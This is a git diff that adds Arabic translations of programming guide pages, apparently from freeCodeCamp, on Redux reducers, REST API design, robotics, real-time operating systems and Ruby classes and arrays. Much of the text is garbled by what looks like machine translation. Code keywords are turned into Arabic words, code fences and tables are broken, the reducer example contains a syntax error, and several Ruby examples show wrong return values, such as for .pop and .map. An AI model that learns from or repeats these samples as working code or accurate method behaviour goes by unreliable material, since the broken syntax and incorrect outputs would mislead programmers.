+ ` import { 
+    APP_ACTION_A, 
+    APP_ACTION_B, 
+    APP_ACTION_C 
+ } from '../constants/Actiontypes'; 
+ 
+ /** 
+ * es6 example of a declaration of the reducer 
+ * @param {Object} state contains all the application's state properties needed 
+ * @param {action} action the action that will trigger the state's changes 
+ **/ 
+ const ExampleAppReducer= (state = { 
+    exampleBool:false, // boolean value 
+    exampleString:'', // string value 
+    exampleArray: [], // array value 
+    onError:{ 
+        A:'', 
+        B:'', 
+        C:'' 
+    } // object with properties inside 
+ }, action) => { 
+    //switch statement that will test every case and make the necessary changes, never mutating the state as it's being preserved always 
+    switch(action.type){ 
+        case APP_ACTION_A:{ 
+            return { 
+                ...state, // es6 epread operator to make a copy of the existing state object 
+                exampleBool:action.value // the state property changes accordingly to the value of the action triggered 
+            }; 
+        } 
+        case APP_ACTION_B:{ 
+            return { 
+                ...state, 
+                exampleString:action.value 
+            }; 
+        }, 
+        case APP_ACTION_C:{ 
+            return { 
+                ...state, 
+                exampleArray:action.value 
+            }; 
+        } 
+        default:{ 
+            return state; // if any of the actions triggered is not defined here it will return the default state 
+        } 
+    } 
+ }; 
+ export default ExampleAppReducer; 
+` 
+
+يوضح الكود أعلاه كيف يتم تعريف المخفض الأساسي ويحدث تغييرات على الحالة ، عن طريق اختبار شرط معين.
+
+## تنفيذ المتجر
+
+الملف:
+
+*   /common/store/store.js
+*   سيحتوي هذا الملف على تعريف شجرة الحالة الخاصة بالتطبيق ، من أجل تغيير الحالة داخل ، يجب إرسال أكتين إلى هنا.
+*   إنه ليس أكثر من كائن به طرق معلن عنها ، أهمها إنشاء المتجر
+
+\`\` \`جافا سكريبت import {createStore} من "redux" ؛ استيراد مثال من "../reducers/ExampleAppReducer" ؛
+
+تصدير الافتراضية createStore ( مثال )؛ \`\` \` يوضح التعليمة البرمجية أعلاه كيفية تعريف مخزن تطبيقات بسيط.
+
+هذا هو الإعداد الأساسي للمخفض ، يمكن توسيعه بشكل أكبر ويحتوي على مخازن متعددة على سبيل المثال وأيضا إضافة بعض الوسيطة إليها.
+
+## قراءة متعمقة
+
+بما أن هذا الدليل ليس أكثر من مجرد مقدمة لكيفية تفاعل وإعادة العمل معًا وكيفية تطبيق البنية. ينصح بشدة لقارئ هذا الدليل بقراءة الروابط التالية ليتم قراءتها واستنساخ repos وتجربتها.
+
+[Redux Docs](http://redux.js.org/)
+
+[Redux Api](http://redux.js.org/docs/api/)
+
+[أمثلة Redux](https://github.com/reactjs/redux/tree/master/examples)
\ No newline at end of file
diff --git a/client/src/guide/arabic/rest-api/index.md b/client/src/guide/arabic/rest-api/index.md
new file mode 100644
index 0000000000..7771304d04
--- /dev/null
+++ b/client/src/guide/arabic/rest-api/index.md
@@ -0,0 +1,106 @@
+---
+title: Rest API Design
+localeTitle: بقية واجهة برمجة التطبيقات تصميم
+---
### التاريخ
+
+REST لتقف على **إعادة** تقديم **S** tate **T** ransfer protocol. حدد روي فيلدنغ REST في أطروحته لنيل درجة الدكتوراه عام 2000.
+
+### ما هذا؟
+
+تم تطوير REST لتوفير واجهة موحدة لـ
+
+*   تحديد الموارد
+*   التلاعب في الموارد
+*   رسائل وصفية ذاتية
+*   استخدام Hypermedia كمحرك لدولة التطبيق (HATEOS)
+
+### أفضل الممارسات
+
+*   \#### أساسيات
+
+| الطريقة | http://api.co/v2/cars | http://api.co/v2/cars/1234 |  
+| --- | --- | --- | | الحصول على | قائمة جميع السيارات | استرجاع سيارة فردية | POST | إنشاء سيارة جديدة | خطأ | | ضع | استبدال مجموعات السيارات بأخرى جديدة | استبدل السيارة بالمعرف 1234 | | حذف حذف جميع السيارات | حذف سيارة بمعرف 1234 |
+
+_ملاحظة أثناء عمليات PUT إما العميل أو الخادم يمكن إنشاء معرف_
+
+*   #### الأسماء هي أفعال جيدة سيئة
+    
+*   استخدم الأسماء للإشارة إلى الموارد مثل `cars` `fruits` وما إلى ذلك.
+    
+*   استخدام الأفعال لإعلانات العمل `convertMilesToKms` ، `getNutritionalValues`
+    
+*   #### مفرد أم جمع؟
+    
+    استخدم القواعد الصحيحة للإعلان
+    
+    **تجنب** `/person/145`
+    
+    **تفضل** `/people/154` افترض أن تعود 154 شخصًا من قائمة الأشخاص
+    
+*   #### استخدم الغلاف
+    
+    استخدام أي شخص من الأنماط أدناه وتكون **متسقة!**
+    
+    | أنماط القضية مثال | | ------------- | ------------- | | **UpperCamelCase** | `http://api.fintech.cp/DailyTransactions/Today` | | **lowerCamelCase** | `http://api.fintech.cp/dailyTransactions/today` |  
+    | **snake\_case** | `http://api.fintech.cp/daily_transactions/today` |
+    
+*   #### **العلاقات والموارد**
+    
+*   يمكن لموارد يكون `one-to-many` ، `many-to-many` ، `many-to-one` علاقات الخ رسم خريطة بشكل صحيح أمر بالغ الأهمية.
+    
+*   **واحد إلى العديد من** الخرائط
+    
+    على سبيل المثال ، تشير `Tickets/145/messages/4` إلى علاقة رأس بأطراف بين `tickets` `messages` . معنى `1` تذكرة لديها رسائل `N` الرسالة ليست موردًا مستقلًا. لا يمكن أن يكون لديك `/messages/4` .
+    
+*   **العديد من العديد من** الخرائط
+    
+    على سبيل المثال ، `/usergroups/345/users/56` يقترح اختيار مجموعة المستخدم 345th والحصول على المستخدم مع معرف 56. ومع ذلك ، قد يكون مستخدم واحد في `usergroups` متعددة أي `/usergroups/209/users/56` صالح أيضا. في مثل هذه الحالة ، وذلك لفصل `users` الموارد المخولين إلى نقطة نهائية منفصلة مثل `/users/56` وتوفير ارتباط الموارد في `/usergroups/209/users/56`
+    
+*   #### **معلمات واجهة برمجة التطبيقات**
+    
+*   **PATH** : _مطلوب_ للوصول إلى المورد Eg `/cars` ، `/fruits`
+    
+*   **معلمات الاستعلام** : فلتر _اختياري_ القائمة Eg `/cars?type=SUV&year=2010`
+    
+*   **Body** : منطق محدد للموارد. طلب بحث متقدم. في بعض الأحيان قد يكون له كل من الاستعلام والجسد.
+    
+*   **العنوان** : يجب أن يحتوي على بيانات عالمية أو على مستوى النظام الأساسي. على سبيل المثال ، معلمات مفتاح API ، ومفاتيح مشفرة للمصادقة ، ومعلومات نوع الجهاز ، مثل الجوال أو سطح المكتب أو نقطة النهاية ، نوع بيانات الجهاز مثل xml أو json. استخدم رأس لتوصيل هذه المعلمات
+    
+*   #### رموز حالة HTTP
+    
+    استخدم رموز الحالة الصحيحة
+    
+    | الرموز المعنى | | ------------- |: -------------: | | 1xx | تلقي الطلب وفهمه. | | 2xx | تم استلام الإجراء المطلوب من قبل العميل وفهمه وطلبه. | | 3xx | يجب على العميل اتخاذ إجراء إضافي لإكمال الطلب. يتم استخدام معظم رموز الحالة هذه في إعادة توجيه عنوان URL. | | 4xx | مخصص للحالات التي يبدو فيها أن الخطأ كان بسبب العميل. | | 5xx | فشل الخادم في تلبية الطلب. |
+    
+    أكثر قليلا على **2xx** !
+    
+*   **201 مورد تم إنشاؤه.** يجب أن تقوم POST `/cars` بإرجاع HTTP 201 الذي تم إنشاؤه باستخدام رأس `location` يوضح كيفية الوصول إلى المورد على سبيل المثال ، `location` : `api.com/cars/124` في رأس الصفحة
+    
+*   **202 - مقبول**
+    
+    استخدم هذا إذا كانت المهمة ضخمة للتشغيل. أخبر العميل ، لقد قبل الطلب وسوف / هي عملية / معالجة لا يتم إرجاع أي حمولة
+    
+*   **204 - لا محتوى**
+    
+    تستخدم عند حذف `DELETE cars/124` لا يعرض أي محتوى. ولكن يمكن أيضًا إرجاع `200 OK` إذا كانت واجهة برمجة التطبيقات تعتزم إرسال المورد المحذوف لمزيد من المعالجة.
+    
+    موارد **5xx** خطيرة!
+    
+*   **500** خطأ خادم داخلي
+    
+*   **504** عبّارة المهلة. الخادم لم يتلق استجابة في الوقت المناسب
+    
+    تشير **4xx** أقل شهرة إلى أنك تمر بمعلمة خاطئة. يمكن أيضا تمرير المعلومات التي هي خاطئة. على سبيل المثال
+    
+    `DELETE /cars/MH09234`
+    
+    إرجاع `4xx` أو رسالة `Expecting int car id /car/id got string car/MH09234`
+    
+
+### **قراءة متعمقة**
+
+[كيفية تصميم واجهات برمجة التطبيقات (APIs) الرائعة - يوم تطوير المطور 2013](https://www.youtube.com/watch?v=qCdpTji8nxo)
+
+[مناقشة تصميم REST API التي لا تنتهي من قبل غيوم لافورج](https://www.youtube.com/watch?v=48azd2VqtP0)
+
+[رموز حالة HTTP](https://httpstatuses.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/robotics/index.md b/client/src/guide/arabic/robotics/index.md
new file mode 100644
index 0000000000..d4ba293b3a
--- /dev/null
+++ b/client/src/guide/arabic/robotics/index.md
@@ -0,0 +1,37 @@
+---
+title: Robotics
+localeTitle: الروبوتات
+---
+## الروبوتات
+
+الروبوتات هي عن الأنظمة التي تصنع الروبوتات. لا يوجد أي مبدأ قابل للتطبيق عالميًا للروبوت. أحد التعريفات المقبولة بشكل عام هو: _إن الروبوت هو آلة فيزيائية قابلة للبرمجة تتبع الإحساس ، والتفكير ، وتصرف النموذج_ . وبشكل أكثر تحديدًا ، يحتاج الروبوت إلى الإحساس ببيئته ، واستخدام تلك المعلومات كمدخل لاتخاذ القرارات ثم التصرف وفقًا لذلك. كل نظام في هذا النموذج هو في كثير من الأحيان دراسة في حد ذاتها. هناك العديد من أنواع أنواع الروبوت والأنظمة المكونة. كل روبوت عادة ما يكون مخصصًا لمجموعة من العمليات ذات أهداف واضحة.
+
+### إحساس
+
+يجب على الروبوت أن يستشعر بيئته. لهذا ، فإنه يستخدم أنواع مختلفة من أجهزة الاستشعار. يمكن تعريف _المستشعر_ بأنه جهاز إدخال يحول المعلمات المادية إلى إشارات كهربائية (عادة). تعد الكاميرات الموجودة في هاتفك الذكي نوعًا من أجهزة الاستشعار ، حيث تقوم بتحويل الضوء إلى أجزاء من المعلومات الكهربائية. مقياس الحرارة الرقمي هو جهاز استشعار يقوم بتحويل الحرارة (درجة الحرارة) إلى إشارة كهربائية يمكن عرضها كقيمة مئوية على شاشتها. هناك دائمًا قيود على دقة خرج المستشعر ، لذلك تتم معالجة الإخراج من المستشعر عادةً لتعويض الأخطاء.
+
+### يفكر
+
+يجب على الإنسان الآلي اتخاذ القرارات بناءً على المدخلات التي يتلقاها من البيئة والطريقة التي تتم برمجتها. وظائف مستقلة هي تلك التي يمكن تنفيذها بواسطة الروبوت دون أي مدخلات بشرية. عادة ما يكون لدى الروبوتات مزيج من الوظائف المستقلة والسيطرة عليها (تصبح الروبوتات المستقلة بالكامل مشتركة في هذه الأيام). لديهم كمبيوتر على متن الطائرة التي تسهل الحساب اللازمة لعملية صنع القرار من الروبوت. على سبيل المثال ، تقدم [quadcopters](https://en.wikipedia.org/wiki/Quadcopter) التجارية للمستهلكين ميزة حيث يمكن أن يطلب من المروحية اتباع كائن متحرك. ويستخدم المدخلات من الكاميرا ، وينفذ [معالجة الصور](https://en.wikipedia.org/wiki/Digital_image_processing) لتمييز الكائن من البيئة ويستخدم [أنظمة التحكم](https://en.wikipedia.org/wiki/Control_system) لمتابعة الكائن. ويتم كل هذا دون أي مدخلات بشرية (أي بعد برمجة المبرمج).
+
+### فعل
+
+بمجرد اتخاذ الروبوت قراره ، فإنه يحتاج إلى التصرف وفقًا لذلك. لهذا الغرض ، فإنه يستخدم المشغلات. _المشغل_ هو جهاز يحول الطاقة إلى حركة. يمكن تصنيف المحركات حسب نوع طاقة الإدخال التي تحتاجها. النوعان الأكثر عمومية من المشغلات الكهربائية هما (التي تستخدم الطاقة الكهربائية لتوليد الحركة) والهوائية (التي تستخدم ضغط الهواء لتوليد الحركة). على سبيل المثال ، المحرك هو المحرك الذي يحول الطاقة الكهربائية إلى حركة دوارة. هناك دائما قيود على دقة ودرجة التحكم في المشغل ، وبالتالي يتم استخدام [أنظمة التحكم](https://en.wikipedia.org/wiki/Control_system) من أجل تعويض تلك القيود.
+
+## أشياء أساسية للروبوتات.
+
+أولاً ، تحتاج إلى قدر لا بأس به من الصبر إلى الآس في الروبوتات.
+
+1) كن جيدًا في أي لغة برمجة للحصول على قبضة جيدة على الشفرة. 2) تعلم RaspberryPi أو اردوينو من أجل الفهم الصحيح للإلكترونيات والمنطق. الآن الفرق بين RaspberryPi و Arduino هو: RaspberryPi هو SBC (Single-Board-Computer) في حين أن Arduino هو مجرد متحكم دقيق. لذا فإن الفرق بين الأشياء المذكورة أعلاه مهم للغاية. 3) Kinematics معكوسة مهم جدا لجزء التصميم. هنا مورد جيد لتعلم [الكينماتيك معكوس](https://www.intechopen.com/books/industrial_robotics_theory_modelling_and_control/robot_kinematics__forward_and_inverse_kinematics) .
+
+جمع هذه الموارد معًا جيدًا بما يكفي لبدء رحلتك باستخدام الروبوتات!
+
+### معلومات اكثر:
+
+[الروبوتات (Wikipedia.org)](https://en.wikipedia.org/wiki/Robot)
+
+[الروبوتات (Wikipedia.org)](https://en.wikipedia.org/wiki/Robotics)
+
+[مجسات (electronicshub.org)](https://www.electronicshub.org/different-types-sensors/)
+
+[المحرك (Wikipedia.org)](https://en.wikipedia.org/wiki/Actuator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/rt-os/index.md b/client/src/guide/arabic/rt-os/index.md
new file mode 100644
index 0000000000..73a8e92cd6
--- /dev/null
+++ b/client/src/guide/arabic/rt-os/index.md
@@ -0,0 +1,15 @@
+---
+title: Real-Time operating systems
+localeTitle: نظم التشغيل في الوقت الحقيقي
+---
+## نظم التشغيل في الوقت الحقيقي
+
+تم تصميم أنظمة التشغيل في الوقت الفعلي (RTOS) لمعالجة المدخلات دون تخزين مؤقت. التخزين المؤقت هو عملية لتأخير المدخلات كجزء من نظام إدارة الموارد. أنظمة التشغيل Linux و BSD لم يتم تصميمها أو تهيئتها لـ RTOS.
+
+### Open Source RTOSes
+
+[التنفيذي في الوقت الحقيقي لأنظمة المعالجات المتعددة (RTEMS) (@ Wikipedia.org)](https://en.wikipedia.org/wiki/RTEMS)
+
+### معلومات اكثر:
+
+[مقارنة بين أنظمة التشغيل في الوقت الفعلي (@ Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_real-time_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/classes-and-objects/index.md b/client/src/guide/arabic/ruby/classes-and-objects/index.md
new file mode 100644
index 0000000000..b96db1504c
--- /dev/null
+++ b/client/src/guide/arabic/ruby/classes-and-objects/index.md
@@ -0,0 +1,105 @@
+---
+title: Classes and Objects
+localeTitle: الطبقات والكائنات
+---
+## الطبقات والكائنات
+
+### أشياء في روبي
+
+دعونا نذهب بسرعة على الأشياء روبي. في العالم الحقيقي ، قد تكون الأشياء أي شيء بما في ذلك سيارة أو كمبيوتر أو حتى إنسان. كل واحد من هذه الكائنات لديه حالة وسلوكيات.
+
+بالنظر إلى السيارة ، يمكن وصف حالتها بأنها نموذجها ، وصنعها ، ولونها. يمكن لسلوك السيارة أن يتحول أو يفرخ أو يفرمل.
+
+كائن في روبي لديه خصائص مشابهة جدا. لدى كائنات روبي أيضًا حالة وسلوك. في Ruby Objects ، يتم تخزين الحالة في المتغيرات المثالية ويتم تخزين السلوك في الدالات.
+
+### دروس في روبي
+
+الفئة هي في الأساس قالب برنامج. يعرّف هذا القالب `properties` الأولية باستخدام `instance variables` . مرة أخرى ، هناك أيضا `behaviors` أخرى محددة في شكل وظائف.
+
+يتم إنشاء مثيل جديد للفئة باستخدام طريقة `initialize` للفئة.
+
+خذ على سبيل المثال نموذج التعليمات البرمجية التالي للفئة:
+
+ `class Car 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+` 
+
+كما رأيتم، يتم تعريف الطبقات باستخدام `class` الكلمة وكتلة رمز الفئة ينتهي مع `end` keywork. الدالة. `.initialize` هو المُنشئ. عند إنشاء هذا الكائن ، نحدد السمات `@make` و `@model` و `@color` بالقيم التي `@color` إلى المُنشئ.
+
+### خلق مثيل للفئة
+
+الآن ، لإنشاء مثيل لهذا الفصل ، تحتاج فقط إلى استدعاء الدالة `.new` .
+
+ `mazda3 = Car.new('Mazda', 'Mazda3', 'White') 
+` 
+
+هذا شيء عظيم ، لكن في بعض الأحيان قد تحتاج إلى تغيير بعض هذه السمات! معظم هذه الصفات في هذا المثال ستكون ثابتة. ومع ذلك ، تخيل أنك قررت الحصول على طلاء جديد. كيف ستذهب حول تحديث حالة هذا الشيء من `Car` ؟
+
+### تعديل حالة المثيل
+
+لحسن الحظ ، فإنه من السهل تحديث حالة كائن. أولا، نحن بحاجة إلى `setter` طريقة! تعرف روبي **جالبة** **واضعة** الإعدادات كما في `attr_reader` و `attr_accessor` على التوالي. بالنسبة إلى إعدادات getter و setter على سمة معينة ، يمكنك أيضًا استخدام `attr_accessor` فقط.
+
+لشرح ذلك ، قمت بتعديل كائن السيارة السابق بهذه الإعدادات المعرفة حديثًا.
+
+ `class Car 
+    attr_accessor :color 
+    attr_reader :make, :model 
+ 
+    def initialize(make, model, color) 
+        @make = make 
+        @model = model 
+        @color = color 
+    end 
+ 
+    def turn(direction) 
+    end 
+ 
+    def honk 
+        puts "beep beep" 
+    end 
+ 
+    def brake 
+    end 
+ end 
+` 
+
+حتى الآن يمكننا تغيير الحالة وقراءة حالة الكائن.
+
+ ``irb(main):023:0> c = Car.new('Mazda', 'Mazda3', 'White') 
+ => #<Car:0x00007fd3ca13fdd0 @make="Mazda", @model="Mazda3", @color="White", @speed=nil> 
+ irb(main):024:0> c.color 
+ => "White" 
+ irb(main):025:0> c.make 
+ => "Mazda" 
+ irb(main):026:0> c.model 
+ => "Mazda3" 
+ irb(main):027:0> c.color = 'Brutal Blue' 
+ => "Brutal Blue" 
+ irb(main):028:0> c.make = 'Prius' 
+ Traceback (most recent call last): 
+        2: from /usr/local/bin/irb:11:in `<main>' 
+        1: from (irb):28 
+ NoMethodError (undefined method `make=' for #<Car:0x00007fd3ca13fdd0>) 
+ Did you mean?  make 
+`` 
+
+عرض الإخراج السابق من `irb` ، يمكنك أن ترى أن كل واحد من متغيرات الحالة للقراءة. يمكننا أن نكتب إلى `@color` ، لكننا في نهاية المطاف يسبب استثناء `NoMethodError` عندما نحاول الكتابة إلى `@make` . هذا لأن `@make` تم تعريفه فقط باستخدام `attr_reader` ، لذلك `make=` غير معرف.
+
+### مصادر
+
+*   [روبي البرمجة / بناء الجملة / الطبقات](https://en.wikibooks.org/wiki/Ruby_Programming/Syntax/Classes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/common-array-methods/index.md b/client/src/guide/arabic/ruby/common-array-methods/index.md
new file mode 100644
index 0000000000..a9e68d6983
--- /dev/null
+++ b/client/src/guide/arabic/ruby/common-array-methods/index.md
@@ -0,0 +1,144 @@
+---
+title: Common Array Methods
+localeTitle: طرق المصفوفة المشتركة
+---
+## طرق المصفوفة المشتركة
+
+تشكل Ruby Arrays أساسًا أساسيًا في البرمجة في Ruby ومعظم اللغات في الواقع. يتم استخدامه كثيرًا بحيث يكون من المفيد معرفة وحتى حفظ بعض الأساليب الأكثر استخدامًا للصفائف. إذا كنت تريد معرفة المزيد عن Ruby Arrays ، فلدينا [مقالة حولها](https://guide.freecodecamp.org/ruby/ruby-arrays) .
+
+لغرض هذا الدليل ، سيكون صفنا على النحو التالي:
+
+\`\` \`روبي الصفيف = \[0 ، 1 ، 2 ، 3 ، 4\]
+
+ `#### .length 
+ The .length method tallies the number of elements in your array and returns the count: 
+` 
+
+ياقوت array.length => 5
+
+ `#### .first 
+ The .first method accesses the first element of the array, the element at index 0: 
+` 
+
+ياقوت array.first => 0
+
+ `#### .last 
+ The .last method accesses the last element of the array: 
+` 
+
+ياقوت array.last => 4
+
+ `#### .take 
+ The .take method returns the first n elements of the array: 
+` 
+
+ياقوت array.take (3) => \[0 ، 1 ، 2\]
+
+ `#### .drop 
+ The .drop method returns the elements after n elements of the array: 
+` 
+
+ياقوت array.drop (3) => \[3 ، 4\]
+
+ `#### array index 
+ You can access a specific element in an array by accessing its index. If the index does not exist in the array, nil will be returned: 
+` 
+
+ياقوت مجموعة \[2\] => 2
+
+مجموعة \[5\] => لا شيء
+
+ `#### .pop 
+ The .pop method will permantently remove the last element of an array: 
+` 
+
+ياقوت array.pop => \[0 ، 1 ، 2 ، 3\]
+
+ `#### .shift 
+ The .shift method will permantently remove the first element of an array and return this element: 
+` 
+
+ياقوت array.shift => 0  
+مجموعة مصفوفة => \[1 ، 2 ، 3 ، 4\]
+
+ `#### .push 
+ The .push method will allow you to add an element to the end of an array: 
+` 
+
+ياقوت array.push (99) => \[0 ، 1 ، 2 ، 3 ، 4 ، 99\]
+
+ `#### .unshift 
+ The .unshift method will allow you to add an element to the beginning of an array: 
+` 
+
+الصفيف = \[2 ، 3\] array.unshift (1) => \[1 ، 2 ، 3\]
+
+ `#### .delete 
+ The .delete method removes a specified element from an array permanently: 
+` 
+
+ياقوت array.delete (1) => \[0 ، 2 ، 3 ، 4\]
+
+ `#### .delete_at 
+ The .delete_at method allows you to permanently remove an element of an array at a specified index: 
+` 
+
+ياقوت array.delete\_at (0) => \[1 ، 2 ، 3 ، 4\]
+
+ `#### .reverse 
+ The .reverse method reverses the array but does not mutate it (the original array stays as is): 
+` 
+
+ياقوت array.reverse => \[4 ، 3 ، 2 ، 1 ، 0\]
+
+ `#### .select 
+ The .select method iterates over an array and returns a new array that includes any items that return true to the expression provided. 
+` 
+
+ياقوت الصفيف = \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9 ، 10\] array.select {| number | رقم> 4} => \[5 ، 6 ، 7 ، 8 ، 9 ، 10\] مجموعة مصفوفة => \[5 ، 6 ، 7 ، 8 ، 9 ، 10\]
+
+ `#### .include? 
+ The include? method checks to see if the argument given is included in the array: 
+` 
+
+ياقوت الصفيف = \[1 ، 2 ، 3 ، 4 ، 5\] => \[1 ، 2 ، 3 ، 4 ، 5\] array.include؟ (3) => صحيح
+
+#### .flatten
+
+يمكن استخدام طريقة التسوية لأخذ مصفوفة تحتوي على صفائف متداخلة وإنشاء مصفوفة أحادية البعد:
+
+\`\` \`روبي صفيف = \[1 ، 2 ، \[3 ، 4 ، 5\] ، \[6 ، 7\]\] array.flatten => \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7\]
+
+ `#### .join 
+ The .join method returns a string of all the elements of the array separated by a separator parameter. If the separator parameter is nil, the method uses an empty string as a separator between strings. 
+` 
+
+ياقوت array.join => "1234" array.join (" _") => "1_ 2 _3_ 4"
+
+ `#### .each 
+ The .each method iterates over each element of the array, allowing you to perform actions on them. 
+` 
+
+ياقوت array.each do | element | يضع العنصر النهاية => 0 1 2 3 4
+
+ `#### .map 
+ The .map method is the same as the .collect method. The .map and .collect methods iterate over each element of the array, allowing you to perform actions on them. The .map and .collect methods differ from the .each method in that they return an array containing the transformed elements. 
+` 
+
+ياقوت array.map {| عنصر | العنصر \* 2} يضع العنصر النهاية => 0 2 4 6 8
+
+ `#### .uniq 
+ The .uniq method takes in an array containing duplicate elements, and returns a copy of the array containing only unique elements--any duplicate elements are removed from the array. 
+` 
+
+ياقوت الصفيف = \[1 ، 1 ، 2 ، 2 ، 3 ، 3 ، 3 ، 4 ، 4 ، 4 ، 4 ، 5 ، 6 ، 7 ، 8\] array.uniq => \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8\]
+
+ `#### .concat 
+ The .concat method appends the elements from an array to the original array. The .concat method can take in multiple arrays as an argument, which will in turn append multiple arrays to the original array. 
+` 
+
+ياقوت الصفيف = \[0 ، 1 ، 2 ، 3 ، 4\] array.concat (\[5 ، 6 ، 7\] ، \[8 ، 9 ، 10\]) => \[0 ، 1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9 ، 10\] \`\` \`
+
+## معلومات اكثر
+
+*   [ملفات Ruby Array](http://ruby-doc.org/core-2.5.1/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/ruby/index.md b/client/src/guide/arabic/ruby/index.md
new file mode 100644
index 0000000000..a6959bed85
--- /dev/null
+++ b/client/src/guide/arabic/ruby/index.md
@@ -0,0 +1,124 @@
+---
+title: Ruby
+localeTitle: ياقوت
+---
+## ما هو روبي؟
+
+تم إنشاء Ruby بواسطة Yukihiro "Matz" Matsumoto وهي لغة برمجة [مفتوحة المصدر](https://github.com/ruby/ruby) وديناميكية ومفسرة للبرمجة السهلة الموجهة للكائنات. مما يعني:
+
+ومن المعروف أيضا أن لديها واحدة من [أكبر مجتمع وودي](https://www.ruby-lang.org/en/community/) بين لغات البرمجة.
+
+*   القدرة على إجراء مكالمات نظام التشغيل مباشرة
+*   ردود فعل فورية أثناء التطوير
+*   الإعلانات المتغيرة غير ضرورية
+*   إدارة الذاكرة تلقائية
+*   كل شيء هو كائن
+*   لديه وظيفة "mixin" حسب الوحدة
+*   المتكررون والإغلاق
+
+إذا كنت غير معتاد على بعض المفاهيم أعلاه ، فاقرأ ، ولا تقلق. يركز روبي على البساطة والإنتاجية من خلال تركيبه الأنيق الذي يكون طبيعيًا للقراءة والكتابة بسهولة ، مثل:
+
+ `# Quick example of Ruby with Object Oriented Programming 
+ class Greeter 
+  def initialize(name) 
+    @name = name.capitalize 
+  end 
+ 
+  def salute 
+    puts "Hello #{@name}!" 
+  end 
+ end 
+ 
+ # Create a new object 
+ g = Greeter.new("world") 
+ 
+ # Output "Hello World!" 
+ g.salute 
+` 
+
+## الإصدار
+
+الإصدار المستقر الحالي هو [2.5.1](https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-5-1-released/) .
+
+## التركيب
+
+يتم تثبيت نظام التشغيل Mac OS X والعديد من توزيعات Linux بشكل مسبق مع Ruby. لمعرفة ما إذا كان روبي مثبتًا مسبقًا في نظامك ، فقط قم بتشغيل `ruby -v` على shell الخاص بك. هناك عدة طرق لتثبيت روبي:
+
+*   عندما تكون في نظام تشغيل يشبه UNIX ، فإن استخدام مدير حزم النظام هو أسهل طريقة للبدء. ومع ذلك ، فإن إصدار روبي المعبأ عادة ليس هو الأحدث.
+*   يمكن استخدام المثبتين لتثبيت إصدارات روبي محددة أو متعددة. هناك أيضا المثبت لنظام التشغيل Windows.
+*   يساعدك المديرون على التبديل بين تثبيتات متعددة من روبي على نظامك.
+*   وأخيرا ، يمكنك أيضا بناء روبي من المصدر.
+
+لمعرفة كيفية تثبيت Ruby من خلال مديري الحزم والمثبّتين والمصدر ، انقر [هنا](https://www.ruby-lang.org/en/documentation/installation/) . RVM (Ruby Version Manager) و rbenv هما أكثر مديري Ruby شعبية لإدارة Rubies متعددة. إذا واجهتك مشكلة في أي مكان ، فلا تقلق ، فقط توجه إلى [غرفة دردشة Gitter واسألنا](https://gitter.im/FreeCodeCamp/ruby) أي شيء.
+
+## IRB
+
+IRB لتقف على التفاعلية روبي شل. الاختصار irb يأتي من حقيقة أن امتداد اسم الملف لروبي هو ".rb" ، على الرغم من أن ملفات Ruby التفاعلية ليس لها امتداد ".irb". يتم إطلاق البرنامج من سطر الأوامر ويتيح تنفيذ أوامر روبي مع استجابة فورية ، تجريب في الوقت الحقيقي. فهو يتميز بسجل الأوامر ، وإمكانات تحرير الخطوط ، والتحكم في الوظائف ، وهو قادر على التواصل مباشرة كبرنامج نصي على الإنترنت والتفاعل مع خادم مباشر. تم تطويره بواسطة Keiju Ishitsuka.
+
+ `    irb 
+    2.3.0 :001 > print "Hello World" 
+    Hello World! => nil 
+` 
+
+## روبي مترجم
+
+مترجم روبي هو ما يستخدم لتشغيل نصوص روبي. إذا كان متاحًا وفي مسار البحث في Unix shell ، فمن الممكن بدء تشغيله عن طريق كتابة الأمر `ruby` متبوعًا باسم البرنامج النصي سوف يستدعي المترجم ويشغل النص البرمجي.
+
+`hello_campers.rb`
+
+ `    if 'welcome' == 'welcome' 
+        print('Hello campers!') 
+    end 
+` 
+
+من سطر الأوامر:
+
+ `    $ ruby hello_campers.rb 
+    Hello campers! 
+` 
+
+## كابل بيانات
+
+روبي [موثق](https://www.ruby-lang.org/en/documentation/) جيدًا. تتضمن هذه المستندات برامج تعليمية وأدلة ومراجع ومعلومات وصفية للغة.  
+آخر resouce مهم للوثائق هو [روبي دوك](http://ruby-doc.org/core-2.3.0/) . يجب عليك زيارة هذا [الرابط](https://github.com/airbnb/ruby) لمعرفة المزيد عن دليل نمط روبي ، الذي كتبه مطورو AirBnB.
+
+القراءة الموصى بها للمبتدئين في Ruby هي دليل [Why's (Poignant) إلى Ruby](https://poignant.guide/) هذا الكتاب غير عادي بين كتب البرمجة. مع الكثير من المسارات الجانبية الغريبة والسردية التي لا علاقة لها بالموضوع في بعض الأحيان ، تمكن هذا الشخص من إبقاء القراء مستمتعين أثناء تعلمهم أساسيات روبي.
+
+## التصحيح
+
+يمكن استخدام عبارات `print` المضمنة لتصحيح الأخطاء البسيطة:
+
+ `    print some_variable # prints to console 
+` 
+
+> **... غالبًا ما تكون أسرع طريقة لتصحيح أخطاء البرنامج هي إضافة بعض عبارات الطباعة إلى المصدر: إن دورة "تحرير - اختبار - تصحيح" سريعة تجعل هذا الأسلوب البسيط فعّالاً للغاية.**
+
+يتضمن Ruby أيضًا أدوات أكثر فاعلية لتصحيح الأخطاء ، مثل:
+
+*   [_حدق المصحح_](https://github.com/nixme/pry-debugger)
+
+## مرحبا بالعالم!
+
+وبالعودة إلى المستندات ، يمكننا أن نقرأ عن طريقة [`print`](http://ruby-doc.org/core-2.3.0/Kernel.html#method-i-print) ، وهي إحدى الطرق المدمجة في [وحدة Kernel](http://ruby-doc.org/core-2.3.0/Kernel.html) .
+
+ `    print(obj, ...) → nil 
+` 
+
